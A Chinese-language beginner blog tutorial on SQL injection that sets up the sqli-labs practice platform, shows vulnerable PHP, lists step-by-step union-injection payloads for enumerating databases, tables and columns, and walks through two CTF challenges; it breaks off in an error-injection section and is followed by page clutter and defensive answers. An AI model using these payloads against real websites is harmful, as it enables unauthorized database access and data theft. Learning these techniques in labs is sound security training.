WEB入门——SQL注入(一)

一、SQL注入的成因

开发人员在开发过程中,直接将URL中的参数、HTTP Body中的Post参数或其他外来的用户输入(如Cookies,UserAgent等)与SQL语句进行拼接,造成待执行的SQL语句可控,从而使我们可以执行任意SQL语句。

二、搭建SQL注入练习平台

  • sqli-labs是一款学习SQL注入的开源平台
  • 下载:https//github.com/skyblueee/sqli-labs-php7
  • 打开phpstady的 www 根目录,解压到根目录下
  • 打开phpMyAdmin 数据库管理工具
  • 在数据库中新建一个security数据库
  • 选择sqli-labs目录中的sql-lab.sql文件,点执行导入到数据库中
  • 打开sqli-labs文件下的sql-connections文件夹中的db-creds.inc文件,修改连接数据库中的密码
    在这里插入图片描述

三、SQL注入分类

3.1 有回显的注入

3.1.1 联合注入

联合注入,表示存在可以使用union关键字进行SQL注入的注入点。
例题:http://localhost/sqli-labs/Less-1/ 源代码中SQL语句部分如下:

<?php
if(isset($_GET['id']))
{
   
$id=$_GET['id'];
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysqli_query($con1, $sql);
$row = mysqli_fetch_array($result, MYSQLI_BOTH);

通过SQL语句中的$id变量,该变量会将GET获取到的参数直接拼接到SQL语句中。如果我们传入参数:

?id=1' union select database() #

那么源代码里面的SQL语就会变成:

$sql="SELECT * FROM users WHERE id='1' union select database() # LIMIT 0,1";

通过传入的单引号闭合前面的单引号,#注释掉后面的语句,中间写上我们需要运行的语句就可以了。

3.1.1.1手动注入一般解题步骤:
  1. 判断网站是否可以进行SQL注入

    • 分别输入不同的id值
    • 有结果:1
    • 有结果:1’ and 1=1#
    • 无结果:1’ and 1=2#
  2. . 依次试一试数据表中有多少列,如果order by 5 报错,则表示有4列。
    ?id=1’ order by 4 #

  3. 查看版本和数据名称 :select 1,2,3…这里根据数据表中的列数来决定参数数量。
    ?id=1’and 1=2 union select 1,version() , database() #

  4. 查看所有数据库:当flag不在当前数据库 可以通过下面的方法查询所有数据库名称,
    ?id=1’and 1=2 union select 1, (select group_concat(schema_name) from information_schema.schemata ) #

  5. 查看数据库中的所有表
    ?id=1’and 1=2 union select 1,(select group_concat(table_name) from information_schema.tables where table_schema = 数据库名称) #
    or
    ?id=1’and 1=2 union select 1,(select table_name from information_schema.tables where table_schema = 数据库名称 limit 0,1 ) #

  6. 查看表中的所有字段
    ?id=1’and 1=2 union select 1,(select group_concat(column_name) from information_schema.columns where table_name = 表名) #

  7. 查看字段的所有值
    ?id=1’and 1=2 union select 1,(select 字段名称 from 表名 ) #

关于information_schema:MySQL 中的 information_schema 数据库

3.1.1.2 使用SQLmap工具注入步骤:

参考资料:sqlmap使用教程(超详细)

3.1.1.3 CTF练习
  • [极客大挑战 2019]EasySQL
    在这里插入图片描述
  1. 查看源码,并么有发现SQL语句。尝试弱密码,没有试用出密码。所以尝试注入。
  2. 在BurpSuite中通过Repeater通过手工注入即可得到flag。
    在这里插入图片描述
  • [极客大挑战 2019]LoveSQL
    在这里插入图片描述
  1. 查看源码,没有SQL语句。尝试弱密码登陆也失败了。继续用SQL注入,通过注入username=admin’ or 1=1 #
    在这里插入图片描述
  2. 通过注入可以知道,flag可能藏在了其他数据表中,通过ORDER BY语句查看到该数据表只有3列
    在这里插入图片描述
  3. 使用Union关键字连接两个查询语句,并查询出当前数据库名称:
    在这里插入图片描述
  4. 根据数据库名称查询出所有表名称,使用group_concat()将所有表名连接合并成一个字符串。得到两个数据表名:geekuser和l0ve1ysq1,猜flag可能在l0ve1ysq1表中。
    在这里插入图片描述
  5. 查询l0ve1ysq1表的所有字段名
    在这里插入图片描述
  6. 最后查询表中所有值:得到flag
    在这里插入图片描述

3.1.2 报错注入

3.1.2.1 extractvalue函数

extractevalue函数是对XML文档进行查询的函数。
语法: extractvalue(目标XML文档,XML路径)

mysql> select extractvalue('<div>value</div>','div');
+----------------------------------------+
| extractvalue
  • 0
    点赞
  • 6
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
### 回答1: SQL注入是一种常见的攻击方式,攻击者通过在Web应用程序中注入恶意的SQL语句,从而获取敏感信息或者执行非法操作。SQL注入攻击的原理是利用Web应用程序没有对用户输入的数据进行充分的过滤和验证,从而导致恶意SQL语句被执行。为了防止SQL注入攻击,开发人员需要对用户输入的数据进行严格的过滤和验证,同时使用参数化查询等技术来防止SQL注入攻击。 ### 回答2: SQL注入攻击是指攻击者通过把恶意的SQL语句插入到应用程序输入数据中的方法,来实现非法操作或篡改数据的一种攻击技术。攻击者利用SQL注入漏洞可以获取敏感数据,改变数据库中的数据,甚至完全控制应用程序。 攻击者利用SQL注入漏洞,可以通过几种方法来实现攻击。以下是一些常见的SQL注入攻击方式: 1.基于错误的注入:攻击者可以通过注入恶意SQL语句,导致应用程序出现错误或异常,从而获得应用程序内部的敏感数据。 2.盲注注入:攻击者可以通过注入语句,来获取数据库信息,如数据库版本,或者判断SQL查询的结果是否正确。 3.联合查询注入:攻击者可以通过在注入语句中添加SELECT语句,来获取敏感数据或执行一些非法操作。 SQL注入攻击作为一种常见的网络攻击方式,需要我们在开发过程中加强对应用程序输入数据进行过滤和检查,以防止SQL注入漏洞。以下是一些预防SQL注入攻击的方法: 1.使用参数化查询:应用程序可以使用参数化查询语句,通过绑定参数来保证输入数据不会被作为SQL语句的一部分执行。 2.限制用户输入:应用程序可以限制用户输入的字符集合,或对用户输入的内容进行验证和过滤。 3.对于敏感数据,可以使用加密等措施来保证数据的安全性。 总之,应用程序开发者需要认识到SQL注入攻击的威胁,并在开发过程中采取一些预防措施来保证应用程序的安全性。 ### 回答3: SQL注入是一种常见的网络攻击方式,旨在通过在输入框或者URL中注入SQL代码,以达到破坏或者获取数据库数据的目的。SQL注入可以通过输入合法的SQL语句来实现,或者通过输入特定的字符来执行恶意代码。 SQL注入攻击的原理在于,攻击者在输入框或者URL中输入包含SQL关键词的字符,这些字符会被解释成SQL命令执行,并且会以其余参数的身份执行,这意味着该攻击可以以管理员的身份执行,且能获取数据库的全部数据。 SQL注入攻击的表现可以是网站遭到入侵或者数据库中数据突然消失或者受到修改。为了防止SQL注入攻击,应该首先排除参数化输入的漏洞,即对于用户输入的数据需要进行过滤,过滤掉控制字符,即可有效地防止SQL注入攻击。 总之,SQL注入攻击是一种网络安全威胁,要防范此类攻击,网站管理者应当在网站上做好安全措施,确保用户输入的数据进行有效的过滤和检查以保证安全性。同时,网站用户也应避免输入不必要的信息和暴露个人隐私等信息,以避免成为攻击者的目标。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值